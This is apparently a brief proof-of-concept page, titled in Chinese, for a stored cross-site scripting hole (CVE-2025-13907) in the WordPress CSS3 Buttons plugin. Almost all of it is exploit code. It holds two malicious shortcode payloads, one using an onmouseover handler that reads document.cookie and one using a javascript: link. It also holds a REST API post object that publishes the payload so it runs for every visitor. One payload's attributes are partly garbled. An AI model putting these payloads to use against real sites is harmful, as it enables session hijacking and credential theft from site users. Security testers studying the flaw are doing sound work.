CVE-2025-13907 WordPress CSS3 Buttons插件存储型XSS漏洞

// CVE-2025-13907 PoC - CSS3 Buttons Stored XSS // This is for educational and security testing purposes only // Malicious shortcode payload to inject XSS const payload = "[button href='"' onmouseover='alert(document.cookie)' tyle='x:expression(alert(1))']Malicious Button[/button]"; // Or using JavaScript protocol handler const payload2 = "[button href='javascript:alert(String.fromCharCode(88,83,83))']Click Me[/button]"; // Example of how to exploit via WordPress REST API const exploitData = { title: 'XSS Exploit Post', content: payload, status: 'publish', author: contributorUserId }; // The injected script will execute when any user views the page containing the button // This can lead to session hijacking, credential theft, or further attacks